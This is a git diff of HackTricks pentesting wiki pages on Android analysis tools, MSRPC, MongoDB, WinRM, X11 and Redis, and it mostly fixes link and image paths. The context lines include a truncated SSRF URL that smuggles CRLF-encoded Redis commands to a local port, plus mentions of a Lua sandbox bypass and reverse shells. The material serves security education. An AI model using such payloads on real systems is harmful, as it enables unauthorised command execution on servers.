+StaCoAn is a **crossplatform** tool which aids developers, bugbounty hunters and ethical hackers performing [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) on mobile applications.
 
 The concept is that you drag and drop your mobile application file (an .apk or .ipa file) on the StaCoAn application and it will generate a visual and portable report for you. You can tweak the settings and wordlists to get a customized experience.
 
@@ -740,10 +740,10 @@ Download[ latest release](https://github.com/vincentcox/StaCoAn/releases):
 ./stacoan
 ```
 
-### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework)
+### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
 
 AndroBugs Framework is an Android vulnerability analysis system that helps developers or hackers find potential security vulnerabilities in Android applications.\
-[Windows releases](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
+[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
 
 ```
 python androbugs.py -f [APK file]
@@ -762,7 +762,7 @@ This tool looks for **common behavior of "bad" applications** like: Telephony id
 python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 ```
 
-### [MARA Framework](https://github.com/xtiankisutsa/MARA\_Framework)
+### [MARA Framework](https://github.com/xtiankisutsa/MARA_Framework)
 
 ![](<../../.gitbook/assets/image (595).png>)
 
@@ -771,7 +771,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 It is able to:
 
 * Extract Java and Smali code using different tools
-* Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs\_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
+* Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
 * Extract private information from the APK using regexps.
 * Analyze the Manifest.
 * Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
@@ -785,9 +785,9 @@ Useful to detect malware: [https://koodous.com/](https://koodous.com)
 
 Note that depending the service and configuration you use to obfuscate the code. Secrets may or may not ended obfuscated.
 
-### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
+### [ProGuard](https://en.wikipedia.org/wiki/ProGuard_\(software\))
 
-From [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2.
+From [Wikipedia](https://en.wikipedia.org/wiki/ProGuard_\(software\)): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2.
 
 ProGuard is distributed as part of the Android SDK and runs when building the application in release mode.
 
@@ -834,14 +834,14 @@ AndroL4b is an Android security virtual machine based on ubuntu-mate includes th
 * [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
 * [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
 * [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
-* [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec)
+* [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec)
 
 ## Yet to try
 
 * [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
 * [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -857,15 +857,15 @@ Stay informed with the newest bug bounties launching and crucial platform update
 **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

network-services-pentesting/135-pentesting-msrpc.md

@@ -1,21 +1,21 @@
 # 135, 593 - Pentesting MSRPC
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -123,7 +123,7 @@ The **rpcdump.exe** from [rpctools](https://resources.oreilly.com/examples/97805
 * [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
 * [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -139,15 +139,15 @@ Stay informed with the newest bug bounties launching and crucial platform update
 **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

network-services-pentesting/27017-27018-mongodb.md

@@ -1,21 +1,21 @@
 # 27017,27018 - Pentesting MongoDB
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -132,7 +132,7 @@ If you are root you can **modify** the **mongodb.conf** file so no credentials a
 
 ***
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -148,15 +148,15 @@ Stay informed with the newest bug bounties launching and crucial platform update
 **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

network-services-pentesting/5985-5986-pentesting-winrm.md

@@ -1,21 +1,21 @@
 # 5985,5986 - Pentesting WinRM
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -174,7 +174,7 @@ winrm quickconfig
 winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
 ```
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -239,7 +239,7 @@ Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential
 
 ### Using a ruby script
 
-**Code extracted from here:** [**https://alamot.github.io/winrm\_shell/**](https://alamot.github.io/winrm\_shell/)
+**Code extracted from here:** [**https://alamot.github.io/winrm\_shell/**](https://alamot.github.io/winrm_shell/)
 
 ```ruby
 require 'winrm-fs'
@@ -344,7 +344,7 @@ Entry_2:
 
 ​
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -360,15 +360,15 @@ Stay informed with the newest bug bounties launching and crucial platform update
 **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

network-services-pentesting/6000-pentesting-x11.md

@@ -1,21 +1,21 @@
 # 6000 - Pentesting X11
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -189,7 +189,7 @@ Then, put your IP address and port in the **R-Shell** option and click on **R-sh
 
 * `port:6000 x11`
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -205,15 +205,15 @@ Stay informed with the newest bug bounties launching and crucial platform update
 **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

network-services-pentesting/6379-pentesting-redis.md

@@ -1,21 +1,21 @@
 # 6379 - Pentesting Redis
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -161,7 +161,7 @@ DUMP <key>
 
 **Dump the database with npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **or python** [**redis-utils**](https://pypi.org/project/redis-utils/)
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -288,7 +288,7 @@ This method can also be used to earn bitcoin ：[yam](https://www.v2ex.com/t/286
 
 ### LUA sandbox bypass
 
-[**Here**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) you can see that Redis uses the command **EVAL** to execute **Lua code sandboxed**. In the linked post you can see **how to abuse it** using the **dofile** function, but [apparently](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) this isn't no longer possible. Anyway, if you can **bypass the Lua** sandbox you could **execute arbitrary** commands on the system. Also, from the same post you can see some **options to cause DoS**.
+[**Here**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) you can see that Redis uses the command **EVAL** to execute **Lua code sandboxed**. In the linked post you can see **how to abuse it** using the **dofile** function, but [apparently](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) this isn't no longer possible. Anyway, if you can **bypass the Lua** sandbox you could **execute arbitrary** commands on the system. Also, from the same post you can see some **options to cause DoS**.
 
 Some **CVEs to escape from LUA**:
 
@@ -347,7 +347,7 @@ git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agit
 
 _For some reason (as for the author of_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _where this info was took from) the exploitation worked with the `git` scheme and not with the `http` scheme._
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -363,15 +363,15 @@ Stay informed with the newest bug bounties launching and crucial platform update
